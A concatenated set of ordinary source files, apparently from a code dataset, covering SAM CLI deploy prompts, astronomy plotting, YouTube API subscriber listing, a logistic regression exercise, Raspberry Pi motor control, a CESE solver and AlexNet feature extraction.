self.s3_prefix = s3_prefix\n self.region = region\n self.profile = profile\n self.confirm_changeset = confirm_changeset\n self.capabilities = (capabilities,)\n self.parameter_overrides = parameter_overrides\n self.save_to_config = save_to_config\n self.config_section = config_section\n self.guided_stack_name = None\n self.guided_s3_bucket = None\n self.guided_s3_prefix = None\n self.guided_region = None\n self.guided_profile = None\n self._capabilities = None\n self._parameter_overrides = None\n self.start_bold = \"\\033[1m\"\n self.end_bold = \"\\033[0m\"\n self.color = Colored()\n\n @property\n def guided_capabilities(self):\n return self._capabilities\n\n @property\n def guided_parameter_overrides(self):\n return self._parameter_overrides\n\n def guided_prompts(self, parameter_override_keys):\n default_stack_name = self.stack_name or \"sam-app\"\n default_region = self.region or \"us-east-1\"\n default_capabilities = (\"CAPABILITY_IAM\",)\n input_capabilities = None\n\n click.echo(\n self.color.yellow(\n \"\\n\\tSetting default arguments for 'sam deploy'\\n\\t=========================================\"\n )\n )\n\n stack_name = prompt(\n f\"\\t{self.start_bold}Stack Name{self.end_bold}\", default=default_stack_name, type=click.STRING\n )\n region = prompt(f\"\\t{self.start_bold}AWS Region{self.end_bold}\", default=default_region, type=click.STRING)\n input_parameter_overrides = self.prompt_parameters(parameter_override_keys, self.start_bold, self.end_bold)\n\n click.secho(\"\\t#Shows you resources changes to be deployed and require a 'Y' to initiate deploy\")\n confirm_changeset = confirm(\n f\"\\t{self.start_bold}Confirm changes before deploy{self.end_bold}\", default=self.confirm_changeset\n )\n click.secho(\"\\t#SAM needs permission to be able to create roles to connect to the resources in your template\")\n capabilities_confirm = confirm(\n f\"\\t{self.start_bold}Allow SAM CLI IAM role creation{self.end_bold}\", default=True\n )\n\n if not capabilities_confirm:\n input_capabilities = prompt(\n f\"\\t{self.start_bold}Capabilities{self.end_bold}\",\n default=list(default_capabilities),\n type=FuncParamType(func=_space_separated_list_func_type),\n )\n\n save_to_config = confirm(f\"\\t{self.start_bold}Save arguments to samconfig.toml{self.end_bold}\", default=True)\n\n s3_bucket = manage_stack(profile=self.profile, region=region)\n click.echo(f\"\\n\\t\\tManaged S3 bucket: {s3_bucket}\")\n click.echo(\"\\t\\tA different default S3 bucket can be set in samconfig.toml\")\n\n self.guided_stack_name = stack_name\n self.guided_s3_bucket = s3_bucket\n self.guided_s3_prefix = stack_name\n self.guided_region = region\n self.guided_profile = self.profile\n self._capabilities = input_capabilities if input_capabilities else default_capabilities\n self._parameter_overrides = input_parameter_overrides if input_parameter_overrides else self.parameter_overrides\n self.save_to_config = save_to_config\n self.confirm_changeset = confirm_changeset\n\n def prompt_parameters(self, parameter_override_keys, start_bold, end_bold):\n _prompted_param_overrides = {}\n if parameter_override_keys:\n for parameter_key, parameter_properties in parameter_override_keys.items():\n no_echo = parameter_properties.get(\"NoEcho\", False)\n if no_echo:\n parameter = prompt(\n f\"\\t{start_bold}Parameter {parameter_key}{end_bold}\", type=click.STRING, hide_input=True\n )\n _prompted_param_overrides[parameter_key] = {\"Value\": parameter, \"Hidden\": True}\n else:\n # Make sure the default is casted to a string.\n parameter = prompt(\n f\"\\t{start_bold}Parameter {parameter_key}{end_bold}\",\n default=_prompted_param_overrides.get(\n parameter_key, str(parameter_properties.get(\"Default\", \"\"))\n ),\n type=click.STRING,\n )\n _prompted_param_overrides[parameter_key] = {\"Value\": parameter, \"Hidden\": False}\n return _prompted_param_overrides\n\n def run(self):\n\n try:\n _parameter_override_keys = get_template_parameters(template_file=self.template_file)\n except ValueError as ex:\n LOG.debug(\"Failed to parse SAM template\", exc_info=ex)\n raise GuidedDeployFailedError(str(ex))\n\n guided_config = GuidedConfig(template_file=self.template_file, section=self.config_section)\n guided_config.read_config_showcase()\n\n self.guided_prompts(_parameter_override_keys)\n\n if self.save_to_config:\n guided_config.save_config(\n self._parameter_overrides,\n stack_name=self.guided_stack_name,\n s3_bucket=self.guided_s3_bucket,\n s3_prefix=self.guided_s3_prefix,\n region=self.guided_region,\n profile=self.guided_profile,\n confirm_changeset=self.confirm_changeset,\n capabilities=self._capabilities,\n )\n","sub_path":"samcli/commands/deploy/guided_context.py","file_name":"guided_context.py","file_ext":"py","file_size_in_byte":6574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"240713936","text":"#!/usr/bin/env python\n\n# ========================================================================== #\n# File: plot_samples.py #\n# Programmer: Patrick Kantorski #\n# Date: 02/24/14 #\n# Class: Astronomy 121 - Radio Astronomy Lab #\n# Time: T 6:00-9:00 PM #\n# Instructor: Aaron Parsons #\n# Description: This program was written in Python to plot data taken from #\n# the program \"LO_sampling.py\" and the \"LO\" at UC Berkeley's #\n# radio astronomy laboratory in order to demonstrate the data #\n# and its limits. #\n# ========================================================================== #\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef main():\n # Loads data files.\n print(\"Loading sample data...\")\n a = np.load('/Users/ppkantorski/Documents/Radio_Astronomy/Lab_2/Code/2.3/sine_cos.npz')\n# b = np.load('/Users/ppkantorski/Documents/Radio_Astronomy/Lab_2/Code/2.2/omb_02.npz')\n \n #cosine\n data_1 = a['arr_2']\n #sine\n data_2 = a['arr_3']\n\n\n print(len(data_1))\n\n # Graphs data files.\n print(\"Generating graphs...\")\n gen_graph(data_1, data_2)\n \n print(\"All plots are complete!\\n\")\n\n\ndef gen_graph(data_1, data_2):\n \n x_axis = np.arange(0., len(data_1), 1.)\n \n n = 1\n while n < 3:\n #plt.subplot(2, 1, n)\n if n == 1:\n plt.plot(x_axis*2e-3, data_1, linewidth=2, color='b')\n plt.axis([0,.5,-2e6,2e6])\n #plt.xlabel('Time (ms)', fontsize=20)\n plt.ylabel('Least Significant Bits', fontsize=20)\n #plt.title('Digital Mixing with'+ r' $\\nu_{sig}=1.05 \\times\\ \\nu_{lo}$' ,size=22)\n if n == 2:\n plt.plot(x_axis*2e-3, data_2, linewidth=2, color='r')\n plt.axis([0,.5,-2e6,2e6])\n plt.xlabel('Time (us)', fontsize=20)\n plt.ylabel('Least Significant Bits', fontsize=20)\n plt.title('Real and Imaginary SSB' ,size=22)\n n += 1\n \n plt.rc('xtick', labelsize=12)\n plt.rc('ytick', labelsize=12)\n \n plt.tight_layout()\n plt.show()\n\n\nif __name__ == '__main__':\n\tmain()","sub_path":"Lab_2/Code/2.3/plot_upper_lower_z.py","file_name":"plot_upper_lower_z.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"561688810","text":"# while generating the clientSecretFile in oAuthConsent developer should be given access under testing,should be added there.\n# Also we get the details of subscribers who set their subscriptions visibility to public.\ndef getSubscriberDetails(developerKey, channelId, clientSecretFile):\n import os\n import google.oauth2.credentials\n import google_auth_oauthlib.flow\n from googleapiclient.discovery import build\n from google_auth_oauthlib.flow import InstalledAppFlow\n\n youtube = build('youtube', 'v3', developerKey=developerKey) # getting the subscriberCount from channelsAPI \n subcribersCount = youtube.channels().list(part='statistics', id=channelId).execute()['items'][0]['statistics'][\n 'subscriberCount'] # UCnprfRlJB7WE6zAEaOAfVYA\n subcribersCount = (int(subcribersCount) // 10 + 1) * 10 # make it a multiple of ten\n\n SCOPES = ['https://www.googleapis.com/auth/youtube.readonly']\n API_SERVICE_NAME = 'youtube'\n API_VERSION = 'v3'\n subscriber_list = []\n\n def get_authenticated_service():\n flow = InstalledAppFlow.from_client_secrets_file(clientSecretFile, SCOPES)\n credentials = flow.run_console()\n return build(API_SERVICE_NAME, API_VERSION, credentials=credentials)\n\n # Remove keyword arguments that are not set\n def remove_empty_kwargs(**kwargs):\n good_kwargs = {}\n if kwargs is not None:\n for key, value in kwargs.items():\n if value:\n good_kwargs[key] = value\n return good_kwargs\n\n def subscriptions_list_by_channel_id(client, **kwargs):\n kwargs = remove_empty_kwargs(**kwargs)\n response = client.subscriptions().list(**kwargs).execute() # this gives the subscribersSnippet\n return response\n\n os.environ['OAUTHLIB_INSECURE_TRANSPORT'] = '1'\n client = get_authenticated_service()\n\n def tempList(response): # gives a list of dictonaries which contains name and channelId of subscribers.\n _list = []\n for i in response['items']:\n subscriber_dict = {}\n subscriber_dict[\"Name\"] = i['subscriberSnippet']['title']\n subscriber_dict['channelId'] = i['subscriberSnippet']['channelId']\n _list.append(subscriber_dict)\n return _list\n\n for i in range(subcribersCount): # we iterate the subscribersSnippet and iterate based on subscriberCount\n if i == 0:\n response = subscriptions_list_by_channel_id(client, part='subscriberSnippet', mySubscribers=True,\n maxResults=50)\n subscriber_list.extend(\n tempList(response)) # extending the list for adding the subsequent response.\n try:\n Token = response[\n 'nextPageToken'] # if nextpagetoken is available in the response ,will only be available when the subcribercount is more.\n except:\n break\n else:\n response = subscriptions_list_by_channel_id(client, part='subscriberSnippet', mySubscribers=True,\n maxResults=10, pageToken=Token)\n subscriber_list.extend(tempList(\n response)) # getting the response if the nextpage token is available and if it's the last page we break.\n try:\n Token = response['nextPageToken']\n except:\n break\n\n return subscriber_list\n\nprint(getSubscriberDetails(developerKey='xxxx',channelId='xxxx',clientSecretFile=\"xxx\"))\n","sub_path":"DataMiningYoutubeSubsciberDeatils.py","file_name":"DataMiningYoutubeSubsciberDeatils.py","file_ext":"py","file_size_in_byte":3554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"531742293","text":"import numpy as np\nimport random\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nimport math\n\n\ndef logistic_z(z): \n return 1.0/(1.0+np.exp(-z))\n\n\ndef logistic_wx(w, x):\n return logistic_z(np.inner(w, x))\n\n\ndef classify(w, x):\n x = np.hstack(([1], x))\n return 0 if (logistic_wx(w, x) < 0.5) else 1\n # x_train = [number_of_samples,number_of_features] = number_of_samples x \\in R^number_of_features\n\n\ndef stochast_train_w(x_train, y_train, learn_rate=0.1, niter=1000):\n x_train = np.hstack((np.array([1] * x_train.shape[0]).reshape(x_train.shape[0], 1), x_train))\n dim = x_train.shape[1]\n num_n = x_train.shape[0]\n w = np.random.rand(dim)\n index_lst = []\n for it in range(niter):\n if len(index_lst) == 0:\n index_lst = random.sample(range(num_n), k=num_n)\n xy_index = index_lst.pop()\n x = x_train[xy_index, :]\n y = y_train[xy_index]\n for i in range(dim):\n update_grad = 1 # something needs to be done here\n w[i] += learn_rate # something needs to be done here\n return w\n\n\ndef batch_train_w(x_train, y_train, learn_rate=0.1, niter=1000):\n x_train = np.hstack((np.array([1] * x_train.shape[0]).reshape(x_train.shape[0], 1), x_train))\n dim = x_train.shape[1]\n num_n = x_train.shape[0]\n w = np.random.rand(dim)\n index_lst = []\n for it in range(niter):\n for i in range(dim):\n update_grad = 0.0\n for n in range(num_n):\n update_grad += (-logistic_wx(w, x_train[n]) + y_train[n]) # something needs to be done here\n w[i] += learn_rate * update_grad/num_n\n return w\n\n\ndef train_and_plot(xtrain, ytrain, xtest, ytest, training_method, learn_rate=0.1, niter=10):\n plt.figure()\n # train data\n data = pd.DataFrame(np.hstack((xtrain, ytrain.reshape(xtrain.shape[0], 1))), columns=['x', 'y', 'lab'])\n ax = data.plot(kind='scatter', x='x', y='y', c='lab')\n\n # train weights\n w = training_method(xtrain, ytrain, learn_rate, niter)\n error = []\n y_est = []\n for i in range(len(ytest)):\n error.append(np.abs(classify(w, xtest[i])-ytest[i]))\n y_est.append(classify(w, xtest[i]))\n y_est = np.array(y_est)\n data_test = pd.DataFrame(np.hstack((xtest, y_est.reshape(xtest.shape[0], 1))), columns=['x', 'y', 'lab'])\n data_test.plot(kind='scatter', x='x', y='y', c='lab', ax=ax, cmap=cm.coolwarm)\n print(\"error=\", np.mean(error))\n return w\n\n\ndef train_and_plot2(xtrain,ytrain,xtest,ytest,training_method,learn_rate=0.1,niter=10):\n plt.figure()\n #train data\n data = pd.DataFrame(np.hstack((xtrain,ytrain.reshape(xtrain.shape[0],1))),columns=['x','y','lab'])\n ax=data.plot(kind='scatter',x='x',y='y',c='lab',cmap=cm.copper,edgecolors='black')\n #train weights\n w=training_method(xtrain,ytrain,learn_rate,niter)\n error=[]\n y_est=[]\n for i in xrange(len(ytest)):\n error.append(np.abs(classify(w,xtest[i])-ytest[i]))\n y_est.append(classify(w,xtest[i]))\n y_est=np.array(y_est)\n data_test = pd.DataFrame(np.hstack((xtest,y_est.reshape(xtest.shape[0],1))),columns=['x','y','lab'])\n data_test.plot(kind='scatter',x='x',y='y',c='lab',ax=ax,cmap=cm.coolwarm,edgecolors='black')\n print(\"error=\",np.mean(error))\n return w\n\n\ndef task1_1_1(fine_plot=None):\n print('Task I.1.1')\n\n def omega(w, x):\n wtx = 0\n for i in range(len(w)):\n wtx += w[i] * x[i]\n return 1 / (1 + math.exp(-wtx))\n\n def L_simple_func(w1, w2):\n k1 = (omega([w1, w2], [1, 0]) - 1)**2\n k2 = (omega([w1, w2], [0, 1]) - 0)**2\n k3 = (omega([w1, w2], [1, 1]) - 1)**2\n\n return k1 + k2 + k3\n\n if fine_plot is None:\n fine_plot = False\n\n if fine_plot:\n print('\\tMaking fine plot.')\n dw = 0.01\n else:\n print('\\tMaking coarse plot.')\n dw = 0.5\n\n w1 = np.arange(-6, 6+dw, dw)\n w2 = np.arange(-6, 6+dw, dw)\n assert (w1.shape[0] == w2.shape[0])\n\n W1, W2 = np.meshgrid(w1, w2)\n L = np.zeros(W1.shape)\n minL = 9999\n maxL = -9999\n minW1 = 0\n minW2 = 0\n for i in range(W1.shape[1]):\n for j in range(W1.shape[0]):\n L[i][j] = L_simple_func(W1[i][j], W2[i][j])\n\n if L[i][j] <= minL:\n minW1 = W1[i][j]\n minW2 = W2[i][j]\n minL = min(L[i][j], minL)\n maxL = max(L[i][j], maxL)\n\n plt.pcolormesh(W1, W2, L, cmap='RdYlGn')\n plt.plot(minW1, minW2, 'ko', markersize=10, fillstyle='none')\n\n plt.clim(math.floor(minL), math.ceil(maxL))\n\n plt.colorbar()\n plt.title('$L_{simple}$')\n plt.xlabel('$w_1$')\n plt.ylabel('$w_2$')\n\n a = [min(w1), max(w1), min(w2), max(w2)]\n plt.axis(a)\n\n plt.figure(1)\n if fine_plot:\n plt.savefig('figures/task1_1_1 colormesh fine.png')\n else:\n plt.savefig('figures/task1_1_1 colormesh coarse.png')\n #plt.clf()\n\n print('\\tw_min = (%0.2f,%0.2f)' % (minW1, minW2))\n print('\\tL_simple(w_min) = %0.5f' % minL)\n\n\ndef task1_1_3():\n print('Task I.1.3')\n def dL(w, i=1):\n w1 = w[0]\n w2 = w[1]\n\n x3 = w1 + w2\n x4 = 1 / (1 + math.exp(-x3))\n\n if i == 1:\n dl1 = ((2 / (1 + math.exp(-w1))) - 2) * (-math.exp(-w1)) / ((1 + math.exp(-w1)) ** 2)\n dl2 = 0\n elif i == 2:\n dl1 = 0\n dl2 = 2 / (1 + math.exp(-w2)) * ((-math.exp(-w2)) / ((1 + math.exp(-w2)) ** 2))\n else:\n return None\n dl3 = 2 * (x4 - 1) * (-math.exp(-x3) / (1 + math.exp(-x3)) ** 2)\n\n return dl1 + dl2 + dl3\n\n def GradientDescent(w, n=100, eta=1.0):\n \"\"\"\n Function to implement the Gradient Descent method\n\n :param w: starting value\n :param n: Number of iterations\n :param eta: step size\n :return: new weight vector\n \"\"\"\n\n assert type(w) == list and len(w) == 2\n\n w_old = w\n w_new = w\n\n w1_hist = []\n w2_hist = []\n i = 0\n for i in range(n):\n w_new[0] = w_old[0] + eta * dL(w_old, i=1)\n w_new[1] = w_old[1] + eta * dL(w_old, i=2)\n\n w_old = w_new\n\n w1_hist.append(w_new[0])\n w2_hist.append(w_new[1])\n\n if (w_new[0]) > 6 or (w_new[1]) < -6:\n # print('\\t\\tERROR: w is outside allowed domain. Stopping iterations.')\n break\n\n plt.figure(1)\n plt.plot(w1_hist, w2_hist, '.', markersize=2)\n plt.plot(w1_hist[-1], w2_hist[-1], 'kd', fillstyle='none')\n plt.axis([-6, 6, -6, 6])\n\n return w_new, i\n\n n = 1000\n w = []\n eta_list = []\n n_list = []\n\n\n x0 = np.linspace(-5.5, 5.5, 5)\n y0 = np.linspace(-5.5, 5.5, 5)\n\n\n for j in range(len(x0)):#np.arange(-6, 3.5, 0.5):\n for k in range(len(y0)):\n eta = 10**-0\n\n #x0 = (random.random()*12) - 6\n #y0 = (random.random()*12) - 6\n\n w0, n0 = GradientDescent([x0[j], y0[k]], n, eta)\n\n w.append(w0)\n n_list.append(n0)\n eta_list.append(eta)\n\n w2 = list(map(list, zip(*w)))\n\n \"\"\"\n f, axarr = plt.subplots(3, sharex=True)\n axarr[0].semilogx(eta_list, w2[0], 'k.')\n axarr[0].set_title('$w_1$')\n axarr[0].grid(which='both')\n\n axarr[1].semilogx(eta_list, w2[1], 'k.')\n axarr[1].set_title('$w_2$')\n axarr[1].grid(which='both')\n\n axarr[2].semilogx(eta_list, n_list, 'k.')\n axarr[2].set_title('$n$')\n axarr[2].grid(which='both')\n plt.xlabel('$\\eta$')\n\n f.subplots_adjust(hspace=0.3)\n \"\"\"\n\n #plt.savefig('figures/task1_1_3 Sensitivity large')\n i = 6.6\n plt.axis([-i, i, -i, i])\n plt.show()\n\n\ndef task2_1_1():\n pass\n\nif __name__ == '__main__':\n pass\n task1_1_1(fine_plot=False)\n task1_1_3()\n task2_1_1()\n","sub_path":"Exercise 5/skeleton.py","file_name":"skeleton.py","file_ext":"py","file_size_in_byte":7817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"481302169","text":"def solve(case):\r\n C,F,X=case\r\n r = 2\r\n cost = 0\r\n while C/r+X/(r+F) 0:\n pins = Motor.__MOTOR_PIN_CONBINATION__.pop()\n else:\n raise ValueError\n self.__pwm_pin_num__ = {'pin1':pins[0], 'pin2':pins[1]}\n #set GPIO 24 and 25 pins output\n GPIO.setup(self.__pwm_pin_num__['pin1'], GPIO.OUT)\n GPIO.setup(self.__pwm_pin_num__['pin2'], GPIO.OUT)\n #set Pals Width Modulator flequency 50kHz\n self.p1 = GPIO.PWM(self.__pwm_pin_num__['pin1'], self.__MOTOR_DRIVE_FLEQENCY__)\n self.p2 = GPIO.PWM(self.__pwm_pin_num__['pin2'], self.__MOTOR_DRIVE_FLEQENCY__)\n self.dutys = {'p1_duty':0, 'p2_duty':0}\n\n def set_power(self, power):\n '''set motor power\n power: -100 ~ 100 (%), int\n if you set power 100 , then motor work MAX_POWER\n if you set power 0 , then motor dont work\n if you set power -100, then motor reverse turn by MAX_POWER\n if you sey power 50 , then motor work MAX_POWER * 0.5\n '''\n if abs(power) > 100:\n raise ValueError\n\n if power > 0:\n duty = Motor.__MAX_POWER__ * float(power)/100.0\n duty = int(duty)\n self.dutys['p1_duty'] = duty\n self.dutys['p2_duty'] = 0\n elif power < 0:\n _power = abs(power)\n duty = Motor.__MAX_POWER__ * float(_power)/100.0\n duty = int(duty)\n self.dutys['p1_duty'] = 0\n self.dutys['p2_duty'] = duty\n\n elif power == 0:\n self.dutys['p1_duty'] = 0\n self.dutys['p2_duty'] = 0\n\n def start(self):\n '''\n start motor rotate\n '''\n self.p1.start(0)\n self.p2.start(0)\n self.p1.ChangeDutyCycle(self.dutys['p1_duty'])\n self.p2.ChangeDutyCycle(self.dutys['p2_duty'])\n def stop(self):\n '''\n stop motor rotate\n '''\n self.p1.stop()\n self.p2.stop()\n\nclass Robot(object):\n ''' Roboto class\n Robot has\n left_motor\n right_motor\n '''\n def __init__(self):\n '''\n initialize Robot Motors\n '''\n self.__left_motor__ = Motor()\n self.__right_motor__ = Motor()\n\n def move(self, lp, rp):\n '''\n set motors power and rotate left,right motors\n '''\n _lmotor = self.__left_motor__\n _rmotor = self.__right_motor__\n\n _lmotor.set_power(lp)\n _rmotor.set_power(rp)\n\n _lmotor.start()\n _rmotor.start()\n\n sleep(10)\n\n def stop(self):\n '''\n stop motor rotate\n '''\n self.__left_motor__.stop()\n self.__right_motor__.stop()\n\nif __name__ == '__main__':\n PI_ROBOT = Robot()\n PI_ROBOT.move(50, 50)\n PI_ROBOT.stop()\n","sub_path":"PiRobot/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"334903914","text":"# -*- coding: UTF-8 -*-\n#\n# Copyright (C) 2010-2011 Yung-Yu Chen .\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License along\n# with this program; if not, write to the Free Software Foundation, Inc.,\n# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\n\"\"\"\nCESE solver specialized for general linear equations.\n\"\"\"\n\nfrom solvcon.gendata import SingleAssignDict, AttributeDict\nfrom solvcon.anchor import Anchor\nfrom solvcon.hook import BlockHook\nfrom solvcon.kerpak.cese import CeseSolver, CeseCase\n\n###############################################################################\n# Solver.\n###############################################################################\n\nclass LinceseSolver(CeseSolver):\n \"\"\"\n Basic linear CESE solver.\n\n @ivar cfldt: the time_increment for CFL calculation at boundcond.\n @itype cfldt: float\n @ivar cflmax: the maximum CFL number.\n @itype cflmax: float\n \"\"\"\n from solvcon.dependency import getcdll\n __clib_lincese = {\n 2: getcdll('lincese2d', raise_on_fail=False),\n 3: getcdll('lincese3d', raise_on_fail=False),\n }\n del getcdll\n @property\n def _clib_lincese(self):\n return self.__clib_lincese[self.ndim]\n @property\n def _jacofunc_(self):\n return self._clib_lincese.calc_jaco\n def __init__(self, *args, **kw):\n self.cfldt = kw.pop('cfldt', None)\n self.cflmax = 0.0\n super(LinceseSolver, self).__init__(*args, **kw)\n def make_grpda(self):\n raise NotImplementedError\n def provide(self):\n from ctypes import byref, c_int\n # fill group data array.\n self.make_grpda()\n # pre-calculate CFL.\n self._set_time(self.time, self.cfldt)\n self._clib_lincese.calc_cfl(\n byref(self.exd), c_int(0), c_int(self.ncell))\n self.cflmax = self.cfl.max()\n # super method.\n super(LinceseSolver, self).provide()\n def calccfl(self, worker=None):\n self.marchret.setdefault('cfl', [0.0, 0.0, 0, 0])\n self.marchret['cfl'][0] = self.cflmax\n self.marchret['cfl'][1] = self.cflmax\n self.marchret['cfl'][2] = 0\n self.marchret['cfl'][3] = 0\n return self.marchret\n\n###############################################################################\n# Case.\n###############################################################################\n\nclass LinceseCase(CeseCase):\n \"\"\"\n Basic case with linear CESE method.\n \"\"\"\n from solvcon.domain import Domain\n defdict = {\n 'solver.solvertype': LinceseSolver,\n 'solver.domaintype': Domain,\n 'solver.alpha': 0,\n 'solver.cfldt': None,\n }\n del Domain\n def make_solver_keywords(self):\n kw = super(LinceseCase, self).make_solver_keywords()\n # setup delta t for CFL calculation.\n cfldt = self.solver.cfldt\n cfldt = self.execution.time_increment if cfldt is None else cfldt\n kw['cfldt'] = cfldt\n return kw\n\n###############################################################################\n# Plane wave solution and initializer.\n###############################################################################\n\nclass PlaneWaveSolution(object):\n def __init__(self, **kw):\n from numpy import sqrt\n wvec = kw['wvec']\n ctr = kw['ctr']\n amp = kw['amp']\n assert len(wvec) == len(ctr)\n # calculate eigenvalues and eigenvectors.\n evl, evc = self._calc_eigen(**kw)\n # store data to self.\n self.amp = evc * (amp / sqrt((evc**2).sum()))\n self.ctr = ctr\n self.wvec = wvec\n self.afreq = evl * sqrt((wvec**2).sum())\n self.wsp = evl\n def _calc_eigen(self, *args, **kw):\n \"\"\"\n Calculate eigenvalues and eigenvectors.\n\n @return: eigenvalues and eigenvectors.\n @rtype: tuple\n \"\"\"\n raise NotImplementedError\n def __call__(self, svr, asol, adsol):\n from ctypes import byref, c_double\n svr._clib_lincese.calc_planewave(\n byref(svr.exd),\n asol.ctypes._as_parameter_,\n adsol.ctypes._as_parameter_,\n self.amp.ctypes._as_parameter_,\n self.ctr.ctypes._as_parameter_,\n self.wvec.ctypes._as_parameter_,\n c_double(self.afreq),\n )\n\nclass PlaneWaveAnchor(Anchor):\n def __init__(self, svr, **kw):\n self.planewaves = kw.pop('planewaves')\n super(PlaneWaveAnchor, self).__init__(svr, **kw)\n def _calculate(self, asol):\n for pw in self.planewaves:\n pw(self.svr, asol, self.adsol)\n def provide(self):\n from numpy import empty\n ngstcell = self.svr.ngstcell\n nacell = self.svr.ncell + ngstcell\n # plane wave solution.\n asol = self.svr.der['analytical'] = empty(\n (nacell, self.svr.neq), dtype=self.svr.fpdtype)\n adsol = self.adsol = empty(\n (nacell, self.svr.neq, self.svr.ndim),\n dtype=self.svr.fpdtype)\n asol.fill(0.0)\n self._calculate(asol)\n self.svr.soln[ngstcell:,:] = asol[ngstcell:,:]\n self.svr.dsoln[ngstcell:,:,:] = adsol[ngstcell:,:,:]\n # difference.\n diff = self.svr.der['difference'] = empty(\n (nacell, self.svr.neq), dtype=self.svr.fpdtype)\n diff[ngstcell:,:] = self.svr.soln[ngstcell:,:] - asol[ngstcell:,:]\n def postfull(self):\n ngstcell = self.svr.ngstcell\n # plane wave solution.\n asol = self.svr.der['analytical']\n asol.fill(0.0)\n self._calculate(asol)\n # difference.\n diff = self.svr.der['difference']\n diff[ngstcell:,:] = self.svr.soln[ngstcell:,:] - asol[ngstcell:,:]\n\nclass PlaneWaveHook(BlockHook):\n def __init__(self, svr, **kw):\n self.planewaves = kw.pop('planewaves')\n self.norm = dict()\n super(PlaneWaveHook, self).__init__(svr, **kw)\n def drop_anchor(self, svr):\n svr.runanchors.append(\n PlaneWaveAnchor(svr, planewaves=self.planewaves)\n )\n def _calculate(self):\n from numpy import empty, sqrt, abs\n neq = self.cse.execution.neq\n var = self.cse.execution.var\n asol = self._collect_interior(\n 'analytical', inder=True, consider_ghost=True)\n diff = self._collect_interior(\n 'difference', inder=True, consider_ghost=True)\n norm_Linf = empty(neq, dtype='float64')\n norm_L2 = empty(neq, dtype='float64')\n clvol = self.blk.clvol\n for it in range(neq):\n norm_Linf[it] = abs(diff[:,it]).max()\n norm_L2[it] = sqrt((diff[:,it]**2*clvol).sum())\n self.norm['Linf'] = norm_Linf\n self.norm['L2'] = norm_L2\n def preloop(self):\n from numpy import pi\n self.postmarch()\n for ipw in range(len(self.planewaves)):\n pw = self.planewaves[ipw]\n self.info(\"planewave[%d]:\\n\" % ipw)\n self.info(\" c = %g, omega = %g, T = %.15e\\n\" % (\n pw.wsp, pw.afreq, 2*pi/pw.afreq))\n def postmarch(self):\n psteps = self.psteps\n istep = self.cse.execution.step_current\n if istep%psteps == 0:\n self._calculate()\n def postloop(self):\n import os\n from cPickle import dump\n fname = '%s_norm.pickle' % self.cse.io.basefn\n fname = os.path.join(self.cse.io.basedir, fname)\n dump(self.norm, open(fname, 'wb'), -1)\n self.info('Linf norm in velocity:\\n')\n self.info(' %e, %e, %e\\n' % tuple(self.norm['Linf'][:3]))\n self.info('L2 norm in velocity:\\n')\n self.info(' %e, %e, %e\\n' % tuple(self.norm['L2'][:3]))\n","sub_path":"solvcon/kerpak/lincese.py","file_name":"lincese.py","file_ext":"py","file_size_in_byte":8152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"649558818","text":"import torch\nimport numpy as np\nimport cv2\nfrom torchvision import transforms, datasets, models\nfrom utility import writePickle\nfrom PIL import Image\nfrom bow import data2image\n\n\ndef image_loader(img):\n loader = transforms.Compose([\n transforms.RandomResizedCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n ])\n cv2_im = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n # image = Image.open(image_path)\n image = Image.fromarray(cv2_im)\n image = loader(image).float()\n image = torch.tensor(image, requires_grad=True)\n image = image.unsqueeze(0)\n return image\n\n\ndef encodeImage_deepfeat(img):\n image = image_loader(img)\n\n model = models.alexnet(pretrained=True)\n newclassifier = torch.nn.Sequential(\n *list(model.classifier.children())[:-1])\n model.classifier = newclassifier\n\n featureVector = model(image)\n return featureVector.data.numpy()[0]\n\n\ndef encodeBatch_deepfeat(data_batch):\n batch_encoded = []\n for row in data_batch['data']:\n img = data2image(row)\n batch_encoded.append(encodeImage_deepfeat(img))\n return np.array(batch_encoded)\n\n\ndef extractDeepFeat(dataset):\n trainloader = torch.utils.data.DataLoader(\n dataset, batch_size=100, num_workers=30)\n\n model = models.alexnet(pretrained=True)\n newclassifier = torch.nn.Sequential(\n *list(model.classifier.children())[:-1])\n model.classifier = newclassifier\n\n trn_encoded = None\n labels = None\n for idx, (x, y) in enumerate(trainloader):\n print(idx + 1) * 100\n featureVector = model(x)\n if trn_encoded is None:\n trn_encoded = featureVector.data.numpy()\n labels = y.data.numpy()\n else:\n trn_encoded = np.concatenate(\n (trn_encoded, featureVector.data.numpy()))\n labels = np.concatenate((labels, y.data.numpy()))\n\n return trn_encoded, labels\n\n\nif __name__ == '__main__':\n # transform_pipeline = transforms.Compose([\n # transforms.RandomResizedCrop(224),\n # transforms.ToTensor(),\n # transforms.Normalize(mean=[0.485, 0.456, 0.406],\n # std=[0.229, 0.224, 0.225])\n # ])\n # # Train data\n # trainset = datasets.CIFAR10(\n # root='.', train=True, download=False, transform=transform_pipeline)\n # trn_encoded, trn_labels = extractDeepFeat(trainset)\n # writePickle(trn_encoded, './deepfeat/trn_encoded')\n # writePickle(trn_labels, './deepfeat/trn_labels')\n\n # # Test data\n # testset = datasets.CIFAR10(\n # root='.', train=False, download=False, transform=transform_pipeline)\n # tst_encoded, tst_labels = 